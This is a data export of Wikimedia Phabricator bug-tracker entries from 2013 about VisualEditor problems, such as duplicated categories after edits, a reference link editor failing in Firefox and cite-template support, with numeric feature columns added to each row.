245836,Categories/default sort sometimes duplicated to random position in DOM after edit,This may be related to bug 50853 which gabriel is going to be investigating to day.,,,1373303777,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.8235294117647058,This may be related to bug 50853 which gabriel is going to be investigating to day.
245830,Categories/default sort sometimes duplicated to random position in DOM after edit,"Is this a Parsoid DSR issue? Content getting repeated in this way (especially, the substituted template) is hard to see occurring in VisualEditor.",,,1373301012,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,18.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,4.428571428571429,0.9285714285714286,"Is this a Parsoid DSR issue? Content getting repeated in this way (especially, the substituted template) is hard to see occurring in VisualEditor."
245826,Categories/default sort sometimes duplicated to random position in DOM after edit,"This is still occurring. Most recent example from a few minutes ago:

https://en.wikipedia.org/w/index.php?title=Mat_Devine&curid=28997812&diff=563130933&oldid=563130533",,,1373130413,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,0,,6.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,19.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,3.875,1.0,"This is still occurring. Most recent example from a few minutes ago:

URL"
245819,Categories/default sort sometimes duplicated to random position in DOM after edit,We believe that this is now fixed (due to fixes in Parsoid). Please re-open if it recurs.,,,1373053343,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,9.0,26.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1739130434782608,0.9565217391304348,We believe that this is now fixed (due to fixes in Parsoid). Please re-open if it recurs.
245813,Categories/default sort sometimes duplicated to random position in DOM after edit,https://en.wikipedia.org/w/index.php?title=Miloslav_Ransdorf&curid=1478506&diff=561858255&oldid=561857291 to boot.,,,1372360097,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,URL to boot.
245807,Categories/default sort sometimes duplicated to random position in DOM after edit,"Roan, thoughts?",,,1372109030,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"Roan, thoughts?"
245802,Categories/default sort sometimes duplicated to random position in DOM after edit,https://en.wikipedia.org/w/index.php?title=Richard_Ned_Lebow&diff=561410319&oldid=561410032,,,1372105662,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
245796,Categories/default sort sometimes duplicated to random position in DOM after edit,"Perhaps related to:

| PLACE OF BIRTH    =[Alexandria], [[Egypt]]",,,1372100226,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0526315789473686,0.8421052631578947,"Perhaps related to:

| PLACE OF BIRTH    =[Alexandria], [[Egypt]]"
52115,VisualEditor: Link editor does not work in the reference editor in Firefox,"Self-explanatory; Firefox 21.0, Windows 7.

--------------------------
**Version**: unspecified
**Severity**: major",Unbreak Now!,100.0,1372094820,1372210400.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-fftdwlrkyjt5yc2hamtk,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.892857142857143,0.6785714285714286,"Self-explanatory; Firefox 21.0, Windows 7.

--------------------------
**Version**: unspecified
**Severity**: major"
245554,VisualEditor: Link editor does not work in the reference editor in Firefox,Fixed and will be going out in a few minutes.,,,1372210400,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fftdwlrkyjt5yc2hamtk,task_subcomment,,True,c1,2,True,,,-1,,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,3.272727272727273,1.0,Fixed and will be going out in a few minutes.
245548,VisualEditor: Link editor does not work in the reference editor in Firefox,Patched in: https://gerrit.wikimedia.org/r/#/c/70559/,,,1372202020,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-fftdwlrkyjt5yc2hamtk,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Patched in: URL
52110,VisualEditor: Provide way for local wikis to auto-prompt reference templates,"Not sure if this is something that's been nixed and nobody has told me, but: tracking bug for adding cite template support to the VE's referencing setup. They're pretty universally useful.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50768",Unbreak Now!,100.0,1372089360,1395701652.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-qsgca2wst2byl7ix2pwv,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,2.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,6.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,12.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,3.8181818181818183,0.7121212121212122,"Not sure if this is something that's been nixed and nobody has told me, but: tracking bug for adding cite template support to the VE's referencing setup. They're pretty universally useful.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
245203,VisualEditor: Provide way for local wikis to auto-prompt reference templates,"Change 119913 merged by jenkins-bot:
Ultra-mega-hyper-citation editing on crack

https://gerrit.wikimedia.org/r/119913",,,1395689846,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qsgca2wst2byl7ix2pwv,task_subcomment,,True,c1,3,False,,,38,,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8571428571428571,"Change 119913 merged by jenkins-bot:
Ultra-mega-hyper-citation editing on crack

GERRIT_URL"
245199,VisualEditor: Provide way for local wikis to auto-prompt reference templates,"Change 119913 had a related patch set uploaded by Jforrester:
Ultra-mega-hyper-citation editing on crack

https://gerrit.wikimedia.org/r/119913",,,1395363039,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qsgca2wst2byl7ix2pwv,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9166666666666666,"Change 119913 had a related patch set uploaded by Jforrester:
Ultra-mega-hyper-citation editing on crack

GERRIT_URL"
245195,VisualEditor: Provide way for local wikis to auto-prompt reference templates,*** Bug 51185 has been marked as a duplicate of this bug. ***,,,1377829415,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qsgca2wst2byl7ix2pwv,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51185 has been marked as a duplicate of this bug. ***
245189,VisualEditor: Provide way for local wikis to auto-prompt reference templates,"(In reply to comment #2)
> For clarification: I'll assume that this is about what you put _inside_ the
> <ref> tags and not about templates that add the <ref> tags themselves.

Correct.",,,1374859109,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qsgca2wst2byl7ix2pwv,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,0.8666666666666667,"(In reply to comment #2)
QUOTE
QUOTE

Correct."
245183,VisualEditor: Provide way for local wikis to auto-prompt reference templates,For clarification: I'll assume that this is about what you put _inside_ the <ref> tags and not about templates that add the <ref> tags themselves.,,,1374823336,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-qsgca2wst2byl7ix2pwv,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,9.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,6.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,15.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,12.0,3.588235294117647,0.7647058823529411,For clarification: I'll assume that this is about what you put _inside_ the <ref> tags and not about templates that add the <ref> tags themselves.
245176,VisualEditor: Provide way for local wikis to auto-prompt reference templates,*** Bug 51683 has been marked as a duplicate of this bug. ***,,,1374260100,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qsgca2wst2byl7ix2pwv,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51683 has been marked as a duplicate of this bug. ***
52073,VisualEditor: Template-based references never editable from reference editor in Firefox,"Screenshot

See screenshot. Kiiinda worrying - if this is something a group of people > me is seeing it may be a blocker.

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: https://en.wikipedia.org/wiki/Joe_Flacco?veaction=edit

**Attached**: {F11445}",Unbreak Now!,100.0,1372035120,1372040794.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-awj25x4zsacz62adi3j5,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,5.0,15.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,3.3225806451612905,0.5806451612903226,"Screenshot

See screenshot. Kiiinda worrying - if this is something a group of people > me is seeing it may be a blocker.

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: URL

**Attached**: {F11445}"
242932,VisualEditor: Template-based references never editable from reference editor in Firefox,Related URL: https://gerrit.wikimedia.org/r/70119 (Gerrit Change I29e210aba9a6265d8364ff8ae49408cb4c2428b9),,,1372040060,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-awj25x4zsacz62adi3j5,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I29e210aba9a6265d8364ff8ae49408cb4c2428b9)
242925,VisualEditor: Template-based references never editable from reference editor in Firefox,Confirmed by a second user.,,,1372035227,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-awj25x4zsacz62adi3j5,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,1.0,Confirmed by a second user.
52067,"VisualEditor: If a sanity check doesn't work out, encourage the user to do a wikitext diff before saving","

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1372029300,1372387323.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-e3u3nzdde2xltny25tvr,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
242549,"VisualEditor: If a sanity check doesn't work out, encourage the user to do a wikitext diff before saving",Written and about to be deployed.,,,1372387323,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-e3u3nzdde2xltny25tvr,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Written and about to be deployed.
242544,"VisualEditor: If a sanity check doesn't work out, encourage the user to do a wikitext diff before saving","Change 70106 merged by jenkins-bot:
mw.ViewPageTarget: Add sanity check for DOM roundtrip

https://gerrit.wikimedia.org/r/70106",,,1372387308,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-e3u3nzdde2xltny25tvr,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9523809523809523,"Change 70106 merged by jenkins-bot:
mw.ViewPageTarget: Add sanity check for DOM roundtrip

GERRIT_URL"
242541,"VisualEditor: If a sanity check doesn't work out, encourage the user to do a wikitext diff before saving",Related URL: https://gerrit.wikimedia.org/r/70106 (Gerrit Change I04f71fe8e00c6257fbc953cc9de3323e24709b0f),,,1372029924,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-e3u3nzdde2xltny25tvr,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit 